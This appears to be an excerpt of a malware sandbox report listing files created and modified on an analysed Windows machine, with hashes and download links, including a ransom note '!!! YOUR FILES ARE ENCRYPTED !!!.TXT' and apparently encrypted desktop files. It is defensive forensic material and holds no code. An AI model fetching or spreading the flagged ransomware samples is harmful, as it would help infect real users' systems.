C:\588bce7c90097ed212\Graphics\Rotate6.ico	2.35 KB	MD5: 49e278395fc66fd8e2c9d97d5c47b3ad SHA1: eacbffe9e84e9aa5e04c2ae1044e3bb63ff0e3ff SHA256: 11a9e0c5e22aa7ea6b5dd621acb56c49182838ebef19722c7aea42a3057365c2 SSDeep: 48:APd9eeb3g+1liIWoMsQ9Af23a5ocZpgG4xgQTAGZQLXiuQih:m95TP1lbusGA+7cZ+GOgQgk+	... File Actions Show Properties Download
C:\588bce7c90097ed212\Graphics\Rotate7.ico	2.35 KB	MD5: 468f9128446c242c4379dc5b5f658f29 SHA1: 56bc1cf7e6fd395eeba71a5fc6cca634831325be SHA256: 4c457c2b63636e81adf7b70e893bf96431693c4e49f73f9fff25c0345b512b67 SSDeep: 48:AT+mTEn7Vgd7bwLkufFmXzpgG4xgQTAGZQLXiuQih:nxY0oqmz+GOgQgk+	... File Actions Show Properties Download
C:\588bce7c90097ed212\Graphics\Rotate8.ico	2.35 KB	MD5: c6018be32ed8642ad93c9d50ed64dde2 SHA1: 6d3126d3b05eaa5ffa6227de54d35976c0117e5c SHA256: 7b1da6287cbf91533b517dbeb5a6364daee785521b7687ebc66d8c8994aed265 SSDeep: 48:AWj1SGOIL2v8N9d21OpgG4xgQTAGZQLXiuQih:vqEN9d2A+GOgQgk+	... File Actions Show Properties Download
C:\588bce7c90097ed212\Graphics\Save.ico	2.60 KB	MD5: 571d12ecc8acdab5c53f6491fb0ef5e4 SHA1: 718544ee173ac3e68f43b8d159aa76e66eabc6ff SHA256: d5d605d0297ad3186ce6dcf5bfa3d75e3df0c06dcc06c8f650e0b2d4d062da0f SSDeep: 48:E7DlsyQ40rgHgpItPw2hJ8sgP4Jz5FMkpgG4xgQTAGZQLXiuQih:agHrHF2hrm4+GOgQgk+	... File Actions Show Properties Download
C:\588bce7c90097ed212\Graphics\Setup.ico	37.31 KB	MD5: 5bf5f64cb7fe048baf24235364f1e4cc SHA1: 43391ae3c3125071da7cc018de55aa8b1e8ba769 SHA256: 7d60b65c4f97bbe3270862e2b2c2aff5b492e0eecfb7a099aa9f9219d305f2ed SSDeep: 768:k1MivIis5MmYYIC2dlyfKdaRhJpRY0cTjXFKwF1HZVey6l9sbm6wDB5qRu:k1ZvEVHIC6fdaTJpG0cTjfVeKADzEu	... File Actions Show Properties Download
C:\588bce7c90097ed212\Graphics\stop.ico	11.36 KB	MD5: 9bbde0494a7a68b8f54183d61eb3cace SHA1: 91fcdd1b3da4bea9dd4ee7b7a7f5f58b57530b65 SHA256: 364af33c6cf42b890f5fc41d4149a05e0c3a849b26e81c01fc6e02e90c3e0138 SSDeep: 192:n8Hj3+/4Sj1qdQJyEUlZO/umHCqB+L/vUjTVtBf6+IFLQTggNX1XtjTabu+amROu:n8Hj3+/NjOEUPeBQLHU3VtBSTinhWQu	... File Actions Show Properties Download
C:\588bce7c90097ed212\Graphics\SysReqMet.ico	2.60 KB	MD5: 99f918ada121cbdc9ae680f8e5d3f5be SHA1: 51c29e2257e980af8762744ca603750d8630febf SHA256: c391a8b1acb517cef4ec1aa333dcdca89802d50a1763d1f5c079b590a8235a4e SSDeep: 48:lggzHGm0EhbrtaQmuSM6n+jYbfePpgG4xgQTAGZQLXiuQih:zThdaqzK+VP+GOgQgk+	... File Actions Show Properties Download
C:\588bce7c90097ed212\Graphics\SysReqNotMet.ico	2.60 KB	MD5: 3e828d81bd5d5b5effaf9a24e1d4c118 SHA1: 6b58ec8c9f52f02abd844682d8a9dd25f7e5317f SHA256: ae71f04ab9a629a8226636a2f9f5d0ba7dd0cde765e53886f59f1597ad3d37b1 SSDeep: 48:MShC9v/RrRVMHp6a68SFXFB6Y8dypgG4xgQTAGZQLXiuQih:Ml9vbVaHfSFFBydy+GOgQgk+	... File Actions Show Properties Download
C:\588bce7c90097ed212\Graphics\warn.ico	11.36 KB	MD5: f8d06eb57b4555d180cff559168412d5 SHA1: 5d9c2e07ded94636b3315e46ac9d9ebddf061ff2 SHA256: f0742d6a0d1787117a7eeb3dfbf05ce78b2339dd590e395eb7d1ff30a72e4689 SSDeep: 192:gFaN+aqDEQob1M/geGwYxBdPBELLUvf5Z7HdUdzZ8H+I31e/qROX+:gFaBpb2M/dFdidzdIQCQu	... File Actions Show Properties Download
C:\Logs\Application.evtx	69.47 KB	MD5: 891795488f0d8c947eb72292a369db07 SHA1: affa47008f478ccc15c1204e9ab74ad93090ad57 SHA256: f63489f6d54a86cecce5f379cea9fd7992b873a10a25c78166c69b45103b8e8b SSDeep: 1536:G+2A+U+YAivYwsDFw4MK+bxkMhK+Tq58xf0JAu2u:r2AqYrWWHK+1Y+Tq58xf09	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\!!! YOUR FILES ARE ENCRYPTED !!!.TXT	412 bytes	MD5: 559a25ec1177b15b54ed42a21d1db4a1 SHA1: af6679b98ef9f45a3ed03b0f399b5fa1db113c6e SHA256: 37bd026a2c410d5ce2bf0598b13178fe24e5e57d7fd14458855244ce4fb2dbd5 SSDeep: 6:a9xCSfmfKu9Z3cong2cGpI0QKVmVCXLr34YKnG3KUsLmbmsIhWHrpN2claaMnRg0:a9zefDeog2cGcV64i3mkNnatUY	... File Actions Show Properties Download
C:\Logs\HardwareEvents.evtx	69.47 KB	MD5: bb0857c6c294b4f535fa0ea636cd8aee SHA1: 0222525d43edea8f1fa3efe6bf5006af82fe1bbf SHA256: 82428a75322a49078be667b7f215b9c27d82753bd4fabb6567db96a8dda0129c SSDeep: 1536:hez2V9Y4uO9ma1UWWo3kKZLfC6s85xCDktpWhpPQqUojh2ixdUHsZu:h8+5X9xZN3zBA8FjWhDUixdUHsQ	... File Actions Show Properties Download
C:\Logs\Internet Explorer.evtx	69.47 KB	MD5: 08ff9067212262863041d8150f6cf31e SHA1: 4fdf97fc157eb9fa659d13cfafde967e5bf0e8a4 SHA256: dd28861b166fd918ff453e9a0f0502f364142beaa1d325372bc3df40b4512f40 SSDeep: 1536:vXo1c3GxP8yZdO72abFQGu6Dme1EymmVP7KfYObixyPyUZ3FqyGu:vn2xOKsFQGu6Dme1PmkPgZ2YPyUZVxt	... File Actions Show Properties Download
C:\Logs\Key Management Service.evtx	69.47 KB	MD5: 0b19ae87ca423d8676f2b9188f28f46b SHA1: 604e4cbb9805c63c6dd1154cef901deaa5c04bef SHA256: 90416553f362b7fabfc763f002ba1bc11b3d775b61a9d8a514bb580fa980f6ca SSDeep: 1536:3iFjQ6JmNAyzaaamhAc+jAQHCjQTAMnR27sWDXu:USNARa7AvjA0nTOsW6	... File Actions Show Properties Download
C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx	69.47 KB	MD5: aacc5f1f6922fa4fab4f449f1a0b39d1 SHA1: 3ba4377e665c33981f5b83cd40b2a804a94e3d88 SHA256: cfcc6623b46714a48b6758331a716ef8c15188e8099860669a96a1953724fc35 SSDeep: 1536:4SoYeytDSIkXpM0DrCBf2HHY0r1mwZjMBZE4y3Xydu:/oYeyteJSw2f6YXw9MZw3XyE	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx	69.47 KB	MD5: 6b51e0714f43d2962572768b60c8eefa SHA1: cb55057eb2e425c98593f100df820e7dee626d73 SHA256: 4739cbdf21af6def81d00c04f579fc6ee2eff2859a6e8e96420bad6fa4a0c099 SSDeep: 1536:ZCAnXym6x49pIJEFY2khLqWQ2XOJF9wRNHzuqlo4ymjJH7PSV30SmmheRFOm7kSh:ZCoXs494ANk99XOJFpwoFg7PSVkSm9w8	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx	1.01 MB	MD5: 08f0f8926d5d9599b13e423876bb795d SHA1: 6c5a5183ad56e99ab1bac24cf6a63f2698f2ded5 SHA256: 847d4bc500c50caff24ef81c7948afb12eb05d0af08fb1435da422b379143dd9 SSDeep: 3072:3vNtWKLqq6cIAKa5LVvWctygawrztr31Wou37v8tTbceInF9bGhqq1ALnXi/YHPk:7v+q7puoyf6t7K37AbceIn3G4qWlG3	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx	69.47 KB	MD5: c48d7e38fb5ea82d4bebebee90a8839d SHA1: d11e67d6422ed205380f6ffd28577e24f34dcf6d SHA256: a2a111316b72807ae9821e7aee06698fcf294557a6f50ecb59f9460d6931b6f2 SSDeep: 1536:5d0vH9xzzFaripg2zpi+KKwNhhAWlk25VkBI23KcVyco0itu:fUHHzRariG2zpi3KwN/lk9IG1VcU	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx	69.47 KB	MD5: 8478004645e0f13998f7661eb8f98287 SHA1: cba6910d8202172b8c74c08cee49ba8b3a120ccc SHA256: e3fcce478c001250b096678910009628c71441d07e4aa644b8c92d766be7c85d SSDeep: 1536:rcDWnNn7fe9eEG1ieCMf5fQ/FyWMmzeaAG/qLQ6UToQN7u:rcWN7fe9eEGXLmMmzudQ6UT1y	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx	69.47 KB	MD5: 949a69228887f3b07ca4c926d7f9e887 SHA1: 415020f833e99d5b24a135f65111c8f17a416bf5 SHA256: fa40bbaac0e7117eebc2d0459f4b60aca6a698f0e703ce89416ba93fc25c19ab SSDeep: 1536:Dc8sfxq0+l76JyX0BzcHvy5EM/4FkBPcvIo3ZlJaagbNYu:Rs5qXl/XOPtJBPcwo3ZlJhWp	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx	69.47 KB	MD5: fd65455f177f4c59e07809c54214f10d SHA1: e81c3f6875c35810e2cb088eddc1d7e8d399b9f0 SHA256: a70dbfe92e9b4e0e710c9324af720f869d820865d34371df57f0ae49a5ba4ec7 SSDeep: 1536:vnbc5D8jVHDRQb9cWxN5Dd1A3tTAQHl3qmCIbxcj9fFWu:vw5YjxRQb9cWx/nIVBHlsIbI9t9	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx	69.47 KB	MD5: 6c6b90b87b44734706f89720a90e42cd SHA1: e1586c21639f1d33d5be73682cc1ea92be4253ab SHA256: ad61a11409984bd0798e6837f57523b32f8a87856e35eacfb659b56a79b28035 SSDeep: 1536:AbIDi9Fax+HGWIZwO1H2lw663329aBKpT9TRGOZxyX7u:YqSc+HGWIeO1Xx3m4BKpT9dGGxyi	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx	69.47 KB	MD5: feb2b6b79ff392d7344fc344e4acd071 SHA1: 5244254704c94112c751dd3aff355d2f1e2408aa SHA256: 9c4d6224a5a2daf5eb6cb73e967f0fea8962e3f07743f47ac1fbb29c5dc8f3eb SSDeep: 1536:DChpqd9g3oY/lV9udhWcgAFUZcfp3o9TuCEGHm6uWblqDrfhq4EWu:4p+9g48lV9uObWCcB47EGgWK9qV	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx	1.07 MB	MD5: 4e51ce3526b256b4b2a67f6602a56915 SHA1: 7263e976e0cf8d0a5012d0a6a548fbd26edf83a3 SHA256: 9c75ed60b72d5b7b60a81c4c6604e19264e779aee17005a5ee9c7748b5d1f592 SSDeep: 6144:5gG/pNmSgtf0nz7Z1e/VKMx7OojkWFFb2EaQYzHmL:SG/pJ0fUq/r0KlX2YYzHmL	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx	69.47 KB	MD5: 7dc66f78a1f90630db96dd5764d00041 SHA1: f7c936e1dbde77f87e29c401a7a03f111361ee89 SHA256: e11d99cc03d057d7be770a0a5f19695bdb14011b6ce63549bf14bf642065c74f SSDeep: 1536:H6DISZQW022BBt5Q9EdEclZ5iYZFzKodfqV41z3pGlHGV7pRNfZ2+su:H6DIQQRTBb4DclZ5iAViWpNRNfZdL	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx	2.07 MB	MD5: 876bc38a0a1ecb10072a0db743f1907a SHA1: ae3293b5fe23c8e98dc99249fa64ae4e966351f6 SHA256: ea2cd87779f87c11eb570f93c6e026af90fbf85abde642ca95505fd6263c8147 SSDeep: 6144:juAsvkQyGuBlMcKWLlwOEFzUF9x8baSLLwCg9Jz5o8FycPT9:ils5BNSO2Y8baALSjG8FJ	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx	69.47 KB	MD5: 113ae896fd0305a4f28ca7515d44887a SHA1: f3b4a343b6eb88e934af48cb08dab49d8addb89e SHA256: 57d1b7f2ff59312da2a0f607611e292ce2825fc5281fbde4776f467f93a953fe SSDeep: 1536:xjFnpHHk2AX7+wCyqwHw1CfVhIlw2C7fI36fu:xj9pHHkyybQMfVm+Je	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx	69.47 KB	MD5: ff67a11475494f4d2481a44681c6997f SHA1: 72e14261e8e12907abef137e8e1da9b950ee4e61 SHA256: cde029507eef26f4c39148ece3c7d9c26b4efa3cb1eff2c30d889b7cb74b9803 SSDeep: 1536:Kasuf+iRlrpm4cL57tXNXv0P4gc4hkhb1tEVgL5u:KasumEhpmtL55dGPc4OHEVIw	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx	69.47 KB	MD5: b34c829eccf2595606dd89b3f5551b53 SHA1: 923aefba82a73c22012c60f18308b19351788dbc SHA256: d4591ee876f22d0cf79e4995d971c27959befec0a04d864b3d0da9bef45fb673 SSDeep: 1536:8i0f2/0MB/0NRTvifBB1DEIf/WCLf5zx/nCUaZ/WFmBuMSQu:ZsMJ03bifBBZEU/z5N0Z/WFmBuMq	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx	69.47 KB	MD5: d3aaf4b9a6d60d2fdf7f45e66e14c543 SHA1: 68f7e069f34be45ac2dc42047aec05963e77a908 SHA256: a24b566bf2c826bf4e374adf66806c38fdedf683723b389d23bf055a0dee0d43 SSDeep: 1536:tRkDjWdpp90Pd5lCIzV7PoFDDNW9PeOm/Ixb+tMRBl6eB/8ZQPTL/E0Gu:tROCdp/wd5lzVLkDs4Owiagl6sUZQr7p	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx	69.47 KB	MD5: 58bfb99b46169e21ed692ed7c6481811 SHA1: 2641fb2077b09d9b815d60608e917441bc1bccb7 SHA256: 4103fb3b24c4db9f51c1cfc7a4650eb6cdfbba5a7290e3289e61831725b26cff SSDeep: 1536:1Lq7CGenI8pWtP8MNCCaSWYLzL5mmnkRppu:1LBGenNoiMNzWKVkPg	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx	69.47 KB	MD5: 76152fe8a82296323d165ef7e89f68f0 SHA1: 6dc9b888a2fe85e4a900343e69f62a84e9dc2773 SHA256: c4770da01f835464e729e2f369339c109a5940a60023b4fdb2fed403013692dd SSDeep: 1536:QxpWRH4utipJ8S912BOYIzZD+MxFhyVlvY4+FrlYu:QxpmH4utifqvSFhyzYHlH	... File Actions Show Properties Download

Modified Files

Filename	File Size	Hash Values	Actions
C:\588bce7c90097ed212\DHtmlHeader.html	15.74 KB	MD5: 5a16b609ea3e0dd7281c580cd2a542de SHA1: 271467beb230f150fe8b8c7aaca630782854e77b SHA256: 1635c676b6fc639b453eacc94f93ccae644a05ece6e08e2d2a5b2f9ad6203e16 SSDeep: 192:7Ddx3KOTczFQ21Kp4n5DTx1iDecPeLHLHQFJFjZWblWUxFzJzcKHjp:fdsOT01KcBUFJFEWUxFzvHF	... File Actions Show Properties Download
C:\588bce7c90097ed212\1025\eula.rtf	7.39 KB	MD5: ea1c4d86c541dd52d9be7159e24e89b5 SHA1: 001cfc911312590f872e15197fc4bf82dad8e2ac SHA256: bdd197a06615de146ba17256c61d41e896358d89bdf3ba47d3e12f3dcb3e09ec SSDeep: 192:sf3yLpQxL75CD7sH08JUXthIT2M+bOx7BnT7QUmC:AyLpQxL7YsH08JUXQT2M+s7BnT7QUmC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1030\eula.rtf	3.24 KB	MD5: d45edfd41c67c02d9473ac054d9d94a3 SHA1: ed956664be66b9ce9370cf1ce81ab53ac7eb0506 SHA256: beb486b19e87adf4538c37e4c1afa9e6cc0635e1d31335623c7b1203c14022e9 SSDeep: 96:MTBfIGPzxT1B9TwDXOC1uJzGTcDC5bhPqljShnEGiBe4YOMpDIbu0L9D+Ogp+OgZ:If/Jqn1uJzGTcDC5bhSljShnEGioDOOu	... File Actions Show Properties Download
C:\588bce7c90097ed212\1031\eula.rtf	3.34 KB	MD5: f070509c32ad58c52597bdeeb6a26506 SHA1: 8767416a45b6d0215e7cc2186126f34be85e42e3 SHA256: 1d3d1ae432353dc81df6cd32964af491940149b7f0aca481d35ac2c9a76f6d17 SSDeep: 96:MWBfVBITvyTqDyiRc3E5Zob0MpDmqgH4KYXsY/49UoC:VffWX5Zm0O3Q3C	... File Actions Show Properties Download
C:\588bce7c90097ed212\1032\eula.rtf	8.67 KB	MD5: 11c731a5a4df0bc7cfc98d98b290af08 SHA1: e5a6bf8ac6e5d404862cbbb3de8956b281c7a797 SHA256: 0cb9fcee7b5eeff54fdf61fdea3ecb13010e8b8f1448d8c1d707df711aedbae3 SSDeep: 192:/foOHY6P6Km5NHMQaEjxPSuHON0SuQI6C:R46Pm5Ns0jxpeuQVC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1033\eula.rtf	3.11 KB	MD5: caab1957e94aec259902eb6ca5e35db3 SHA1: f1b9ee040ee9f2aebf5f20546903ab048e10f716 SHA256: ce59913cf51484349cd98efc0883980b21afd5e5e93132db06d5c141c0426066 SSDeep: 96:MHfTLNnTkWBTkFDZ8f4wHlre7MUxprfKmMb0+MW+1Ep9qeelN+sznM+IEp+LkC:yfyTLillHW+mMhyAspzC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1035\eula.rtf	3.62 KB	MD5: 101b65d6fb5e4c6b362ab21ec268ce08 SHA1: 194c2789d35b3df30610a147de90608d7cf91d5a SHA256: 8250366d5d748f801a57164f3e98e32368b69c66d15da4071caf44d05072b9c6 SSDeep: 96:MWBfuMAh8TZhqTy9DbDixX7zR7MrrqX37ILY7TpLgoyk1zERRe5g9KIMpDnYA06S:VfeRzH3vmLQzE6AOACC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1036\eula.rtf	3.44 KB	MD5: 46fe9b64da0367bce44febd6e27b4832 SHA1: 2cf19739670b128796057862d6af86a3be74772b SHA256: d609188f26e967ae6135fa2aa139303b99fd97237cb0e4b80ef201abc55f9f75 SSDeep: 96:MTBfEhmvTf8vTR/DSIem21HDpHD1cT+Tot4er42xzK8/ptMpDLaFNsNGlDPsCUC:IfJw95eJlx1E+Tot4er42xzKuOKPUC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1037\eula.rtf	6.69 KB	MD5: a7ef57fc27ea045e48ca6cfc04d82a74 SHA1: 256b1ce7be2c785d1908a854486f108e95ed1da1 SHA256: 7e77e9cf71ef3e28ba4eac22d746ccf1a948a8d45b7efaf9e5d1741b66ab6060 SSDeep: 96:2Rf64JJR1vTJ3R1vTJZZDg1YGZmF1plypIuw75TYgnMJ9nqIQ2fPMpicPtxScRtb:0fXRskPWIHxYnJVPOxScl9ZnlfZ4LHC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1038\eula.rtf	4.16 KB	MD5: 4e69c894913ef4b563fbaf4d8de7d119 SHA1: f1a14ae6324388e5fa93197c7ad161bbb715a5e8 SHA256: 0265a59f29545f74b58c172cf1ef2eb4584283e3b3477a59913a05bc97cfb3f9 SSDeep: 96:k8BfeEfTtXeTjXyZD+dtQRzrGJ6JwtxYMpDNeb6CZXKEp5/Eupwy9Ep+LMC:kgffCXPdOzSJ6JwkOBjC0VC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1040\eula.rtf	3.56 KB	MD5: 780f47918f66b2fa512a44393ab27acb SHA1: 22c774b4e439887f74358a5a7597d9996674dc12 SHA256: f6763b42c0f417ce0333a0f013e8d6a6240d0535593caa6833dd17b097844e58 SSDeep: 96:rwBfYOP/TfVTJDwXtxjCJEZ+jw/Njppm/F/ZaFgcT/okOctC:yfYXRzMjsA9/EFxDtC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1041\eula.rtf	9.89 KB	MD5: 9c70b3dfeea77a557f132d4de1119e2b SHA1: c2ad9beb45c2d455f8c2af3c99e43b1a9b40e4ea SHA256: 7af3e29f3752b3adbd7bb5c1824764b64904195bbc760e0f633ea059c7589739 SSDeep: 192:tEf13/qC2+PCsANROmuuU8EhZFJEj2VQoKOwyWAOxzpOh+uqaJgtC:tBtQoCnGDzhuqzC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1042\eula.rtf	12.39 KB	MD5: c0cf449e5412b5c8e8b3869768bcc68d SHA1: 0907f32e0c781c9b6efdff79f1a0e32e2645aaa4 SHA256: 460183ce5d591452e6aab09235e7a8cbf47fb227861c5399387d5f5d1a735b6e SSDeep: 192:MUf0PVF4MjeKojIfE6wK+b/mIr4tIAcAIce5rD6O1IuonKZim+dfNAW6qUK84Zna:aK0wB/Tr4TmckIuCm+TAWdUN/reC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1044\eula.rtf	2.98 KB	MD5: 73c7f5e8ae62087e6f00eccf9a8d6fdf SHA1: 21db8d18a6b794acb064416006edb8ed4c5ff622 SHA256: 188ff602320cafc2ef63a55ef9c31612a81ac3799177e391e2fa3f0a5409489b SSDeep: 48:rPN3nffnyzInT7BjTgLDRn0l392N4S2ZOMb5XgNRc9q5QB34pg5lqM9TX/ufMpDl:rPBffyUnT7BjTADRn0lN2N4S2wG5wNRe	... File Actions Show Properties Download
C:\588bce7c90097ed212\1045\eula.rtf	3.95 KB	MD5: d4d1bf86680ab567fecd037cae6638ee SHA1: 9b139fd7ad1b59f2ed88b1ca4b6592c7e9a4cdaf SHA256: baf4e0e68b1306bcb09fc592e1f929f5d0f558cc061205f4cce8b0ece10a5b65 SSDeep: 96:rTBfQaJRTIRTjzH+oDgQUoIs89FcG5ywI5Et/+TMm9MpDcA/+MvsNcUOsG9jeLdL:Zfo+Bs18ncG5Y5Et/+Z9OwAjs7OtRwdL	... File Actions Show Properties Download
C:\588bce7c90097ed212\1049\eula.rtf	53.18 KB	MD5: 8ecceb0f1d52e0e87b4019fbf08ebfec SHA1: 8176433fa1d3349cb385be64dcb35d3090fb6fe4 SHA256: 1a47edc64bab9f65e7e2e6305359c44ecaff5ffdf9173ff4d73fe87334d6cfa6 SSDeep: 768:3CR6rdlWFJv3zGz9tWQ2ni8UNo/8PZrS14b:3CcrMeDb	... File Actions Show Properties Download
C:\588bce7c90097ed212\1053\eula.rtf	3.78 KB	MD5: 1342e945bea79bc277ea10b5b858c276 SHA1: f2a961afaadb35e5bd7bf72cc4e683aac095c708 SHA256: f6f6780ef8275cbdcf0dca2447bc36e6aa2eebda79f5cc2fa9759402c6139382 SSDeep: 96:rTBfv+/9TfHTGDXtZEOuAs50Y1EIF19VWMpDHvuKMLDBD+d54+QFEp5Tf+8K+l1W:5ffduAs591EIb9gOpqDoDZQmx2WC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1055\eula.rtf	3.77 KB	MD5: 0e7da8ca10278e885162bbafdf59c027 SHA1: e7ad38486f2d38a1233992b7ffab6557f6b65ec0 SHA256: 80bf5b8ce1b64eb7cb3937b9c858ff4391ed7179fb3a84c9ad78892c7308b8f8 SSDeep: 96:VSfjQOTqfRRTqfSD+vmScfQEz04jMpDLiIzhZLlZhDC:wfcFpcfEo4jOTC	... File Actions Show Properties Download
C:\588bce7c90097ed212\2052\eula.rtf	5.69 KB	MD5: 09f7b0f6301680e22868b5424d210d48 SHA1: 68d61d2721769480cce1db31c7d7eba3d30bb69d SHA256: 0ee2800bd745b93f6d588f40babdcba89be67d8722a9920e38047870d0f713b8 SSDeep: 96:M5DBmf0jLTCLLgLTCLLmDjxrDT2k9rkKp7aDKaXzaWZMa/O9wzy6n/MpDTKTGpts:EmfJXoQkRGDtXeWZv/O9XmOdZzQJWBBG	... File Actions Show Properties Download
C:\588bce7c90097ed212\2070\eula.rtf	3.92 KB	MD5: 484ebdb9fc4cf88882b894beeb45bc47 SHA1: f063fda55e36f2fad4a1045225d2d30ec67d30f7 SHA256: de9c18fa037ccfad76f91638d5f6cd8fa1d4071a7ee1263fb34fef705388b328 SSDeep: 96:r4IffB09DkTLGTHD28ygHx0LlHKe1rvGA9mE0Eyh+iH/OMpiKwIurpEpiT0T8x8Q:VfB8ygHclqe1ruAYEBm+imOvurerVC	... File Actions Show Properties Download
C:\588bce7c90097ed212\1028\eula.rtf	6.16 KB	MD5: a5a1817c73f33b5caa3ebe381c008646 SHA1: 3fa57546191e5c58587eb64219c4e68279a3c9d1 SHA256: 19f2ff51265e651cbb90ba9a301102a4f5cfbe6eb897190777a5e0dcf5231a79 SSDeep: 96:/R8NRf8TTVKTu4LuTu4LrzZD41raZM4HbegdxqKZJQ1/FSMZJujgzc/MpD1JzIfC:/R4Rfm2NBZMjOfro2n6CAC	... File Actions Show Properties Download
C:\588bce7c90097ed212\3082\eula.rtf	3.00 KB	MD5: f605fe42f1c3c47ec9759c06aea6a850 SHA1: 7c81f4d14d3f9e1d7b19ca44c658431edd1d096d SHA256: c533eb4554e620d9ecefc7268aea7a1a00abecacd8b7f48681621f1d9e5a91f5 SSDeep: 48:MTN3nfZQZXRFOTfyTZQDeK9xxMFcJ55HsUXHNX/RgMzsrMpDgLmqIy3W0b8EwKgV:MTBfZQZhoTfyTZQDeQxpDHsOH1ZvoMpH	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\-IU8WGmE.avi	39.62 KB	MD5: aeca5711e8f5d1f000ecb7571553d277 SHA1: e446af5b8f66a64fffe80befb1185051e4ab4140 SHA256: 3ad1389482e150407b652a4dcadb45c9da4487b1d6d39847a0f2da38f8cb8716 SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\-IU8WGmE.avi	41.10 KB	MD5: 92f846b85c667a5e210d1427f1acbd3c SHA1: ae3f8b3dbfd2e4143a27af11861ffb4e0e7fefe0 SHA256: b51f766d64bba6bc6de190d0e19a4410e7d70ff0f979e6ea15db471f51264e2d SSDeep: 768:k7/9TMGf4wnGLvX7OYCy0AN8YL6n3i55AUwLR8HioCidDPepSS00jnr8u:kxMRLKYCytN8liEf18HiYDOSS00jr8u	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv	99.21 KB	MD5: 369037caf695ccdae83e2b85fb0589cd SHA1: 1e45aa76fe15df432c9a67b6d3f366496d5049eb SHA256: a5ffffa6785721c9827e00f073138199b01cfd89e9b1ad1eb4c314eca06b8f67 SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv	100.67 KB	MD5: 4d4f2faeb719f09678b9b52e8a239388 SHA1: ca809224ffa4380fbd081499459609b501d45874 SHA256: 0eee1f10c775846c5336f18d3fa22a58cc55307ba0fbde333b7588fa9febcd2c SSDeep: 3072:n6lJ0JXLfOhBC+0MgkdpL9Ori0O1xWhxx:6leJWrnfL0xO1Ml	... File Actions Show Properties Download
c:\users\fd1hvy\appdata\local\virtualstore\bootnxt	2 bytes	MD5: c4103f122d27677c9db144cae1394a66 SHA1: 1489f923c4dca729178b3e3233458550d8dddf29 SHA256: 96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7 SSDeep: 3::	... File Actions Show Properties Download
C:\BOOTNXT.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1.47 KB	MD5: aae6d896813b7ba7f0dfb910226608d7 SHA1: 093e4d3f5345402b2311829e7fccf4a77958048e SHA256: 5ef72713d7991b7b8ccbfe12a0fb3749f7ea56b106a1188b759fdd048c6a3ee3 SSDeep: 24:r44zEqh6CtrpWR3GYHvfcIgYOkTHvC36hoWOUzMGZPZmDC4RLbi90SdEG2Wk7l:r4cLZpgG4xgQTAGZQLXiuQih	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp	6.20 KB	MD5: 86ebdf49b2cf095607f3366683ca5f40 SHA1: ebb72100fab8dd7454769da68ef61b7f89cb189f SHA256: b890f8cd1c7f84177c0d6c66e5a93f141e61fa68d6ebe1a8bdabb103a0e4d3cd SSDeep: 3::	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\0Vo-ly6biRdbFh.bmp	7.66 KB	MD5: b327f98df929d9224e45584cefdd109c SHA1: 6b403f49221153464b84d339f6247f218d882823 SHA256: 66b908011cd21c5020f8c5fb3f9d60f47421bd2ce5c81012fe754607807148c5 SSDeep: 192:jWojOr1/UHSh3HDx63WsO8R4vKeQYdZlcROX+:Sxr1uSMEKQdZiQu	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\1nAU21n.gif	29.21 KB	MD5: 8dfaf1e80a451befb418ac7c0b738f71 SHA1: 0ad3bf0391a35e3fc8fce0a1e1b08a6a12bfcfc4 SHA256: 66387755a7b73c4f8b3598ff7315c62c36d4f91256a335bdd2e29222b5fe5847 SSDeep: 3::	... File Actions Show Properties Download
